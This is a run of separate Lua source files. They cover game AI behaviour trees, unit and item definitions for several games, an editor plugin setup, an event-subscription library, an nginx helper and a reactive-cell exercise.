require "behaviours/wander" require "behaviours/chaseandattack" require "behaviours/doaction" require "behaviours/chattynode" require "behaviours/panic" local MAX_WANDER_DIST = 20 local START_RUN_DIST = 3 local STOP_RUN_DIST = 5 local MAX_CHASE_TIME = 10 local MAX_CHASE_DIST = 30 local SEE_TARGET_DIST = 20 local SEE_FOOD_DIST = 10 local RUN_AWAY_DIST = 6 local STOP_RUN_AWAY_DIST = 8 local function FindFoodAction(inst) local target = FindEntity(inst, SEE_FOOD_DIST, function(item) return inst.components.eater:CanEat(item) end) if target then return BufferedAction(inst, target, ACTIONS.EAT) end end local function GoHomeAction(inst) if not inst.components.follower.leader and inst.components.homeseeker and inst.components.homeseeker.home and inst.components.homeseeker.home:IsValid() then return BufferedAction(inst, inst.components.homeseeker.home, ACTIONS.GOHOME) end end local function TargetIsAggressive(inst) local target = inst.components.combat.target return target and target.components.combat and target.components.combat.defaultdamage > 0 and target.components.combat.target == inst end local WerePigBrain = Class(Brain, function(self, inst) Brain._ctor(self, inst) end) function WerePigBrain:OnStart() --print(self.inst, "WerePigBrain:OnStart") local clock = GetClock() local root = PriorityNode( { WhileNode( function() return self.inst.components.health.takingfiredamage end, "OnFire", Panic(self.inst)), WhileNode(function() return not TargetIsAggressive(self.inst) end, "SafeToEat", DoAction(self.inst, function() return FindFoodAction(self.inst) end, "EatMeat", true) ), ChaseAndAttack(self.inst, MAX_CHASE_TIME, MAX_CHASE_DIST), Wander(self.inst, function() return self.inst.components.knownlocations:GetLocation("home") end, MAX_WANDER_DIST), }, .5) self.bt = BT(self.inst, root) end function WerePigBrain:OnInitializationComplete() self.inst.components.knownlocations:RememberLocation("home", Point(self.inst.Transform:GetWorldPosition())) end return WerePigBrain
g_gen_small_win_s01_loot_deed = { description = "Small Generic House Style 1 (Windowed) Blueprint", minimumLevel = 0, maximumLevel = 0, lootItems = { {itemTemplate = "gen_small_win_s01_loot_deed", weight = 10000000} } } addLootGroupTemplate("g_gen_small_win_s01_loot_deed", g_gen_small_win_s01_loot_deed)
local status_ok, fidget = pcall(require, "fidget") if not status_ok then return end fidget.setup({ text = { spinner = "dots", }, })
local array = include( "modules/array" ) local util = include( "modules/util" ) local cdefs = include( "client_defs" ) local simdefs = include("sim/simdefs") local simquery = include("sim/simquery") local abilityutil = include( "sim/abilities/abilityutil" ) local deployable = { name = STRINGS.ABILITIES.DEPLOYABLE, createToolTip = function( self, sim, unit ) return abilityutil.formatToolTip(STRINGS.ABILITIES.DEPLOYABLE, STRINGS.ABILITIES.DEPLOYABLE_DESC, 0) end, profile_icon = "gui/icons/action_icons/Action_icon_Small/icon-item_hijack_small.png", alwaysShow = true, getName = function( self, sim, unit, userUnit ) return STRINGS.ABILITIES.DEPLOY end, canUseAbility = function( self, sim, abilityOwner, abilityUser ) if abilityOwner == abilityUser then return false end local cell = sim:getCell(abilityUser:getLocation() ) if abilityOwner:getTraits().cooldown and abilityOwner:getTraits().cooldown > 0 then return false, util.sformat(STRINGS.UI.REASON.COOLDOWN,abilityOwner:getTraits().cooldown) end if abilityOwner:getTraits().usesCharges and abilityOwner:getTraits().charges < 1 then return false, util.sformat(STRINGS.UI.REASON.CHARGES) end if cell then for i,unit in ipairs(cell.units) do if unit:hasAbility("deployable") and unit:getTraits().deployed then return false, STRINGS.UI.REASON.ALREADY_DEPLOYED end end end if array.find( abilityUser:getChildren(), abilityOwner ) == nil then return false, STRINGS.UI.REASON.NOT_CARRIED end return abilityutil.checkRequirements( abilityOwner, abilityUser ) end, executeAbility = function( self, sim, abilityOwner, abilityUser ) local cell = sim:getCell( abilityUser:getLocation() ) assert( cell ) assert( not abilityOwner:getTraits().equipped ) abilityUser:removeChild( abilityOwner ) -- Deployed items are owned by the user unit's player abilityOwner:setPlayerOwner( abilityUser:getPlayerOwner() ) abilityOwner:getTraits().deployed = true local facing = simquery.getReverseDirection(abilityUser:getFacing() ) if facing % 2 ~= 0 then facing = simquery.addFacing(facing, 1) end sim:emitSound( simdefs.SOUND_ITEM_PUTDOWN, cell.x, cell.y, abilityUser ) sim:dispatchEvent( simdefs.EV_UNIT_PICKUP, { unitID = abilityUser:getID(), facing=simquery.getReverseDirection(facing) } ) abilityOwner:setFacing( facing ) sim:warpUnit( abilityOwner, cell ) sim:dispatchEvent(simdefs.EV_UNIT_DEPLOY, {unit=abilityOwner, x=cell.x,y=cell.y}) if abilityOwner:getTraits().cooldown and abilityOwner:getTraits().cooldownMax then abilityOwner:getTraits().cooldown = abilityOwner:getTraits().cooldownMax end if abilityOwner:getTraits().mainframe_icon_on_deploy then abilityOwner:getTraits().mainframe_icon = true end sim:triggerEvent( simdefs.TRG_UNIT_DEPLOYED, { unit = abilityOwner }) sim:dispatchEvent( simdefs.EV_UNIT_REFRESH, { unit = abilityOwner } ) end, } return deployable
return { tllasonar = { activatewhenbuilt = true, buildangle = 8192, buildcostenergy = 2932, buildcostmetal = 195, builder = false, buildinggrounddecaldecayspeed = 30, buildinggrounddecalsizex = 4, buildinggrounddecalsizey = 4, buildinggrounddecaltype = "tllasonar_aoplane.dds", buildpic = "tllasonar.dds", buildtime = 6812, category = "ALL UNDERWATER SURFACE", corpse = "dead", description = "Tech Level 2", energymake = 21, energyuse = 50, explodeas = "SMALL_BUILDINGEX", footprintx = 2, footprintz = 2, icontype = "building", idleautoheal = 5, idletime = 1800, losemitheight = 35, mass = 195, maxdamage = 455, maxslope = 10, minwaterdepth = 30, name = "Sonar Station", noautofire = false, noshadow = 1, objectname = "TLLASONAR", onoffable = true, radaremitheight = 34, selfdestructas = "SMALL_BUILDING", sightdistance = 195, sonardistance = 2400, unitname = "tllasonar", usebuildinggrounddecal = true, waterline = 2, yardmap = "oooo", customparams = { buildpic = "tllasonar.dds", faction = "TLL", }, featuredefs = { dead = { blocking = true, damage = 550, description = "Advanced Sonar Station Wreckage", featuredead = "heap", footprintx = 2, footprintz = 2, metal = 146, object = "tllasonar_dead", reclaimable = true, customparams = { fromunit = 1, }, }, heap = { blocking = false, damage = 687, description = "Advanced Sonar Station Debris", footprintx = 2, footprintz = 2, metal = 78, object = "2x2b", reclaimable = true, customparams = { fromunit = 1, }, }, }, sfxtypes = { pieceexplosiongenerators = { [1] = "piecetrail0", [2] = "piecetrail1", [3] = "piecetrail2", [4] = "piecetrail3", [5] = "piecetrail4", [6] = "piecetrail6", }, }, sounds = { activate = "sonar1", canceldestruct = "cancel2", deactivate = "sonarde1", underattack = "warning1", count = { [1] = "count6", [2] = "count5", [3] = "count4", [4] = "count3", [5] = "count2", [6] = "count1", }, select = { [1] = "sonar1", }, }, }, }
GlobalEvent = {} function GlobalEvent.Init() GlobalEvent.SubscriberList = {} GlobalEvent.LastEventData = {} end function GlobalEvent.ClearLastEventData() GlobalEvent.LastEventData = {} end local weakmeta = {__mode = "kv"} --[[ 包装回调函数,...调用回调时放在前面的参数, 主要服务于继承于ObjectBase的对象,当该对象调用了Release销毁之后 回调不会生效 --]] function InsCallBack(callBack, Ins, ...) assert(callBack) if type(Ins) ~= "table" or Ins._meta_ == nil then error("InsCallBack error, Ins Must is a class ins") end local parameters = setmetatable({Ins, ...}, weakmeta) local handle = {} function handle:GetParam() return parameters end local len_p = table.maxn(parameters) local function f(...) local args = {...} local len_a = table.maxn(args) for i = 1, len_a do parameters[i+len_p] = args[i] end if parameters[1] == nil or parameters[1]._has_destroy_ then return end local function trucall() handle.result = callBack(unpack(parameters, 1, len_p+len_a)) end Xpcall(trucall) return handle.result end return f, handle end --[[ 当...的第一个对象是table时,如果该table被垃圾回收了,那么就不会回调了 --]] function SafeCallBack(callBack, ...) local parameters = setmetatable({...}, weakmeta) local handle = {} function handle:GetParam() return parameters end local len_p = table.maxn(parameters) local function f(...) local args = {...} local len_a = table.maxn(args) for i = 1, len_a do parameters[i+len_p] = args[i] end if parameters[1] == nil then return end local function trucall() handle.result = callBack(unpack(parameters, 1, len_p+len_a)) end Xpcall(trucall) return handle.result end return f, handle end --[[ 包装回调的,把...参数包装起来,回调时放在前面传回 --]] function MakeCallBack(callBack, ...) local parameters = setmetatable({...}, weakmeta) local handle = {} function handle:GetParam() return parameters end local len_p = table.maxn(parameters) local function f(...) local args = {...} local len_a = table.maxn(args) for i = 1, len_a do parameters[i+len_p] = args[i] end local function trucall() handle.result = callBack(unpack(parameters, 1, len_p+len_a)) end Xpcall(trucall) return handle.result end return f, handle end local function CallBack(Callbackfunction, parameters, args) args = args or {} local par = setmetatable({}, weakmeta) local len = table.maxn(parameters) for i = 1, len do par[i] = parameters[i] end for i = 1, table.maxn(args) do par[i + len] = args[i] end xpcall(function()Callbackfunction(unpack(par, 1, table.maxn(par))) end, errhandle) end function GlobalEvent.Subscribe(EventName, Callbackfunction, ...) if type(Callbackfunction) ~= "function" then return end local parameters = setmetatable({...}, weakmeta) local Subscriber = {Callbackfunction, parameters} if type(EventName) ~= "table" then EventName = {EventName} end for _, Event in pairs(EventName) do if GlobalEvent.SubscriberList[Event] == nil then GlobalEvent.SubscriberList[Event] = {} end GlobalEvent.SubscriberList[Event][Subscriber] = true end local Handle = {EventName, Subscriber} Handle.OwnerTable = setmetatable({}, weakmeta) -- 与ObjectBase对象配合用的,使得生命周期绑定一起 function Handle.SetOwner(ObjectBaseOwner) Handle.OwnerTable[1] = ObjectBaseOwner end -- 销毁 function Handle.Destroy() GlobalEvent.UnSubscribe(Handle) local Owner = Handle.OwnerTable[1] if Owner then Owner:RemoveEventHandle(Handle) end end -- 用之前的Fire的数据Fire一次 function Handle.Fire() local data = {GlobalEvent.Data(EventName[1])} CallBack(Callbackfunction, parameters, data) return Handle end -- 如果之前有Fire过,那么Fire一次 function Handle.CheckFire() local data = {GlobalEvent.Data(EventName[1])} if data[1] then CallBack(Callbackfunction, parameters, data) end return Handle end return Handle end -- Fire一次 function GlobalEvent.FireEvent(EventName, ...) local arg = {...} GlobalEvent.FiringEvent = EventName GlobalEvent.LastEventData[EventName] = arg if GlobalEvent.SubscriberList[EventName] == nil then return end local FireList = {} for Subscriber in pairs(GlobalEvent.SubscriberList[EventName]) do table.insert(FireList, Subscriber) end for _, Subscriber in ipairs(FireList) do if GlobalEvent.SubscriberList[EventName][Subscriber] then CallBack(Subscriber[1], Subscriber[2], arg) end end end function GlobalEvent.UnSubscribe(SubscriberInfo) if type(SubscriberInfo) ~= "table" then return end local EventName = SubscriberInfo[1] local Subscriber = SubscriberInfo[2] if type(EventName) == "table" and Subscriber then for _, Event in pairs(EventName) do if Event and GlobalEvent.SubscriberList[Event] then GlobalEvent.SubscriberList[Event][Subscriber] = nil end end end end function GlobalEvent.GetEvent() return GlobalEvent.FiringEvent end function GlobalEvent.GetLastEventData(EventName) if EventName == nil then if GlobalEvent.FiringEvent then return GlobalEvent.GetLastEventData(GlobalEvent.FiringEvent) end elseif type(GlobalEvent.LastEventData[EventName]) == "table" then return unpack(GlobalEvent.LastEventData[EventName], 1, table.maxn(GlobalEvent.LastEventData[EventName])) end end function GlobalEvent.Clear(EventName) GlobalEvent.LastEventData[EventName] = nil end function GlobalEvent.Save(EventName, ...) local arg = {...} GlobalEvent.LastEventData[EventName] = arg end GlobalEvent.Init() -- 简化API GlobalEvent.On = GlobalEvent.Subscribe GlobalEvent.Fire = GlobalEvent.FireEvent GlobalEvent.Data = GlobalEvent.GetLastEventData GlobalEvent.Event = GlobalEvent.GetEvent return GlobalEvent
--[[ Name: misc_game_items.lua ----------------------------------------------------------------- -- @package VrZn - Custom Gamemode (SRP BASE) -- @author Nodge -- @build Beta 1 ----------------------------------------------------------------- ]]-- local Item = {} Item.Name = "Casino Chips" Item.Desc = "Chips for use in a casino." Item.Model = "models/props_phx/games/chess/black_dama.mdl" Item.Weight = 0 Item.Volume = 0 Item.CanDrop = true Item.DropCombined = true --Make only 1 item when dropping many, allows for items to drop stacked Item.UI_DropMany = true --Enable dropping many items in the item card ui Item.LimitID = "casino chips" Item.DropClass = "ent_money_chips" Item.SetupEntity = function( _, eEnt, intAmount ) eEnt:SetAmount( intAmount ) end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 10 ) local Item = {} Item.Name = "Lawn Mower" Item.Desc = "Mows grass, pretty simple." Item.Model = "models/props/de_overpass/lawn_mower.mdl" Item.Weight = 35 Item.Volume = 50 Item.HealthOverride = 3000 Item.JobItem = "JOB_ROADWORKER" Item.CanDrop = true Item.RemoveDropOnDeath = true Item.LimitID = "lawn mower" Item.DropClass = "road_mower" Item.SetupEntity = function( _, entItem ) -- stuff end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 1 ) local Item = {} Item.Name = "Medical Supplies" Item.Desc = "A vial of essential medical supplies, consumed by the first aid kit." Item.Model = "models/healthvial.mdl" Item.Type = "type_ammo" Item.Weight = 2 Item.Volume = 2 Item.CanDrop = true Item.LimitID = "medical supplies" Item.CraftingEntClass = "ent_crafting_table" Item.CraftSkill = "Nível do Personagem" Item.CraftSkillLevel = 5 Item.CraftSkillXP = 5 Item.CraftRecipe = { ["Metal Plate"] = 2, ["Cloth"] = 4, } GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 12 ) local Item = {} Item.Name = "Government Issue Medical Supplies" Item.Desc = "A vial of essential medical supplies, consumed by the first aid kit." Item.Model = "models/healthvial.mdl" Item.Type = "type_ammo" Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job Item.Weight = 2 Item.Volume = 2 Item.CanDrop = false GM.Inv:RegisterItem( Item ) local Item = {} Item.Name = "Fuel Can" Item.Desc = "A can of fuel." Item.Model = "models/props_junk/gascan001a.mdl" Item.Weight = 10 Item.Volume = 8 Item.CanDrop = true Item.LimitID = "fuel can" Item.DropClass = "ent_fuelcan" GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Storage Chest" Item.Desc = "A large chest for storing items temporally." Item.Model = "models/Items/ammocrate_smg1.mdl" Item.Weight = 45 Item.Volume = 70 Item.HealthOverride = 1000 Item.CanDrop = true Item.LimitID = "storage chest" Item.DropClass = "ent_storage_chest" GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2, { ["vip"] = 1 } ) local Item = {} Item.Name = "Road Flare" Item.Desc = "A road flare, drop and press E on to ignite." Item.Model = "models/props_junk/flare.mdl" Item.Weight = 2 Item.Volume = 1 Item.CanDrop = true Item.LimitID = "road flare" Item.DropClass = "ent_roadflare" Item.DrugLab_BlenderVars = { BlendProgress = 10, BlendAmountPerTick = 0.15, GiveItem = "Red Phosphorous", GiveAmount = 4, } GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 3 ) local Item = {} Item.Name = "Engine Overhaul" Item.Desc = "A complete engine overhaul kit. Used on vehicles that have 0 health." Item.Model = "models/props_c17/TrapPropeller_Engine.mdl" Item.Weight = 100 Item.Volume = 80 Item.CanDrop = true Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_high" Item.CraftingEntClass = "ent_crafting_table" Item.CraftSkill = "Nível do Personagem" Item.CraftSkillLevel = 15 Item.CraftSkillXP = 5 Item.CraftRecipe = { ["Engine Block"] = 1, ["Car Battery"] = 1, ["Metal Plate"] = 2, ["Metal Pipe"] = 1, ["Crowbar"] = 1, ["Wrench"] = 2, ["Pliers"] = 1, } GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Vehicle Repair Kit" Item.Desc = "Tools and components for repairing general vehicle damage." Item.Model = "models/props/cs_office/Cardboard_box01.mdl" Item.Weight = 80 Item.Volume = 25 Item.CanDrop = true Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_medium" Item.CraftingEntClass = "ent_crafting_table" Item.CraftSkill = "Nível do Personagem" Item.CraftSkillLevel = 1 Item.CraftSkillXP = 5 Item.CraftRecipe = { ["Car Battery"] = 8, ["Metal Plate"] = 10, ["Metal Pipe"] = 5, ["Crowbar"] = 5, ["Wrench"] = 5, ["Pliers"] = 1, } GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Roadside Quick-Fix Kit" Item.Desc = "A small set of parts and a few tools for fixing light damage to vehicles." Item.Model = "models/props_c17/BriefCase001a.mdl" Item.Weight = 30 Item.Volume = 10 Item.CanDrop = true Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_light" Item.CraftingEntClass = "ent_crafting_table" Item.CraftSkill = "Nível do Personagem" Item.CraftSkillLevel = 1 Item.CraftSkillXP = 5 Item.CraftRecipe = { ["Metal Plate"] = 2, ["Metal Pipe"] = 4, ["Wrench"] = 3, ["Pliers"] = 3, } GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Spare Tire Kit" Item.Desc = "A replacement set of tires for any vehicle." Item.Model = "models/props_vehicles/carparts_wheel01a.mdl" Item.Weight = 60 Item.Volume = 80 Item.CanDrop = true Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_wheels" Item.CraftingEntClass = "ent_crafting_table" Item.CraftSkill = "Nível do Personagem" Item.CraftSkillLevel = 1 Item.CraftSkillXP = 5 Item.CraftRecipe = { ["Metal Plate"] = 2, ["Metal Bracket"] = 4, ["Wrench"] = 1, ["Rubber Tire"] = 4, } GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Police Issue Roadside Quick-Fix Kit" Item.Desc = "A small set of parts and a few tools for fixing light damage to vehicles." Item.Model = "models/props_c17/BriefCase001a.mdl" Item.Weight = 30 Item.Volume = 10 Item.CanDrop = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_light" GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Police Issue Spare Tire Kit" Item.Desc = "A replacement set of tires for any vehicle." Item.Model = "models/props_vehicles/carparts_wheel01a.mdl" Item.Weight = 60 Item.Volume = 80 Item.CanDrop = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_wheels" GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) ------------------------------------------------------ local Item = {} Item.Name = "Police Issue Spare Tire Kit" Item.Desc = "A replacement set of tires for any vehicle." Item.Model = "models/props_vehicles/carparts_wheel01a.mdl" Item.Weight = 60 Item.Volume = 80 Item.CanDrop = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_wheels" GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Police Issue Traffic Cone" Item.Desc = "A traffic cone." Item.Model = "models/props_junk/TrafficCone001a.mdl" Item.Weight = 1 Item.Volume = 1 Item.CanDrop = true Item.RemoveDropOnDeath = true Item.CollidesWithCars = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "traffic cone" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 10 ) local Item = {} Item.Name = "Police Issue Traffic Board" Item.Desc = "A traffic trailer board." Item.Model = "models/noble/trailermessageboard/trailermessageboard.mdl" Item.Weight = 2 Item.Volume = 8 Item.CanDrop = true Item.RemoveDropOnDeath = true Item.CollidesWithCars = true Item.HealthOverride = 3000 Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "traffic board" Item.SetupEntity = function( _, eEnt ) local phys = eEnt:GetPhysicsObject() if IsValid( phys ) then phys:SetMass( 100 ) end eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 1 ) local Item = {} Item.Name = "Police Issue Traffic Barrel" Item.Desc = "A traffic trailer barrel." Item.Model = "models/noble/trafficbarrel/traffic_barrel.mdl" Item.Weight = 2 Item.Volume = 8 Item.HealthOverride = 1500 Item.CanDrop = true Item.RemoveDropOnDeath = true Item.CollidesWithCars = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "traffic barrel" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 10 ) local Item = {} Item.Name = "Police Issue Checkpoint" Item.Desc = "A traffic checkpoint" Item.Model = "models/noble/checkpoint.mdl" Item.Weight = 2 Item.Volume = 8 Item.HealthOverride = 3000 Item.CanDrop = true Item.RemoveDropOnDeath = true Item.CollidesWithCars = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "checkpoint" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 1 ) local Item = {} Item.Name = "Police Issue Roadside Quick-Fix Kit" Item.Desc = "A small set of parts and a few tools for fixing light damage to vehicles." Item.Model = "models/props_c17/BriefCase001a.mdl" Item.Weight = 30 Item.Volume = 10 Item.CanDrop = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_light" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Police Issue Spare Tire Kit" Item.Desc = "A replacement set of tires for any vehicle." Item.Model = "models/props_vehicles/carparts_wheel01a.mdl" Item.Weight = 60 Item.Volume = 80 Item.CanDrop = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_wheels" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Police Issue Engine Overhaul" Item.Desc = "A complete engine overhaul kit. Used on vehicles that have 0 health." Item.Model = "models/props_c17/TrapPropeller_Engine.mdl" Item.Weight = 50 Item.Volume = 30 Item.CanDrop = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_high" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Goverment Issue Engine Overhaul" Item.Desc = "A complete engine overhaul kit. Used on vehicles that have 0 health." Item.Model = "models/props_c17/TrapPropeller_Engine.mdl" Item.Weight = 50 Item.Volume = 30 Item.CanDrop = true Item.JobItem = "JOB_SSERVICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_high" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "EMS Issue Engine Overhaul" Item.Desc = "A complete engine overhaul kit. Used on vehicles that have 0 health." Item.Model = "models/props_c17/TrapPropeller_Engine.mdl" Item.Weight = 50 Item.Volume = 30 Item.CanDrop = true Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_high" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "EMS Issue Vehicle Repair Kit" Item.Desc = "Tools and components for repairing general vehicle damage." Item.Model = "models/props/cs_office/Cardboard_box01.mdl" Item.Weight = 50 Item.Volume = 30 Item.CanDrop = true Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_medium" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Goverment Issue Vehicle Repair Kit" Item.Desc = "Tools and components for repairing general vehicle damage." Item.Model = "models/props/cs_office/Cardboard_box01.mdl" Item.Weight = 50 Item.Volume = 30 Item.CanDrop = true Item.JobItem = "JOB_SSERVICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_medium" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Police Issue Vehicle Repair Kit" Item.Desc = "Tools and components for repairing general vehicle damage." Item.Model = "models/props/cs_office/Cardboard_box01.mdl" Item.Weight = 50 Item.Volume = 30 Item.CanDrop = true Item.JobItem = "JOB_POLICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_medium" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "EMS Issue Spare Tire Kit" Item.Desc = "A replacement set of tires for any vehicle." Item.Model = "models/props_vehicles/carparts_wheel01a.mdl" Item.Weight = 50 Item.Volume = 30 Item.CanDrop = true Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_wheels" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "Goverment Issue Spare Tire Kit" Item.Desc = "A replacement set of tires for any vehicle." Item.Model = "models/props_vehicles/carparts_wheel01a.mdl" Item.Weight = 50 Item.Volume = 30 Item.CanDrop = true Item.JobItem = "JOB_SSERVICE" --This item can only be possessed by by players with this job Item.LimitID = "car repair kit" Item.DropClass = "ent_carfix_wheels" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 2 ) local Item = {} Item.Name = "EMS Issue Traffic Cone" Item.Desc = "A traffic cone." Item.Model = "models/props_junk/TrafficCone001a.mdl" Item.Weight = 1 Item.Volume = 1 Item.HealthOverride = 5000 Item.CanDrop = true Item.RemoveDropOnDeath = true Item.JobItem = "JOB_EMS" --This item can only be possessed by by players with this job Item.LimitID = "traffic cone" Item.SetupEntity = function( _, eEnt ) eEnt.CanPlayerPickup = function( eEnt, pPlayer, bCanUse ) return eEnt:GetPlayerOwner() == pPlayer end end GM.Inv:RegisterItem( Item ) GM.Inv:RegisterItemLimit( Item.LimitID, 10 ) Item.CollidesWithCars = true
local function randomHit(percent, scope) if not tonumber(percent) then ngx.log(ngx.CRIT, 'random parameter error: percent=' .. tostring(percent)) return false end local scope = tonumber(scope) or 100 local rnd = math.random(scope) --ngx.log(ngx.INFO, "[randomHit] random:" .. rnd .. " current:" .. percent) return rnd <= percent end local _M = { randomHit = randomHit, } return _M
local function InputCell(value) local children = {} return { get_value = function() return value end, set_value = function(new_value) value = new_value for _, child in ipairs(children) do child._propagate() end for _, child in ipairs(children) do child._update() end end, _add_child = function(child) table.insert(children, child) end } end local function ComputeCell(...) local callbacks = {} local children = {} local value local previous_value local cell = {} local inputs, f do local args = table.pack(...) if args.n == 3 then inputs = { args[1], args[2] } f = args[3] else inputs = { args[1] } f = args[2] end end local function calculate_value() local args = {} for _, input in ipairs(inputs) do table.insert(args, input.get_value()) end return f(table.unpack(args)) end function cell.get_value() return value end function cell.watch(callback) table.insert(callbacks, callback) end function cell.unwatch(callback) for i, _callback in ipairs(callbacks) do if callback == _callback then table.remove(callbacks, i) return end end end function cell._propagate() value = calculate_value() for _, child in ipairs(children) do child._propagate() end end function cell._update() if previous_value ~= value then previous_value = value for _, callback in ipairs(callbacks) do callback(value) end end for _, child in ipairs(children) do child._update() end end function cell._add_child(child) table.insert(children, child) end value = calculate_value() previous_value = value for _, input in ipairs(inputs) do input._add_child(cell) end return cell end local function Reactor() return { InputCell = InputCell, ComputeCell = ComputeCell } end return { Reactor = Reactor }
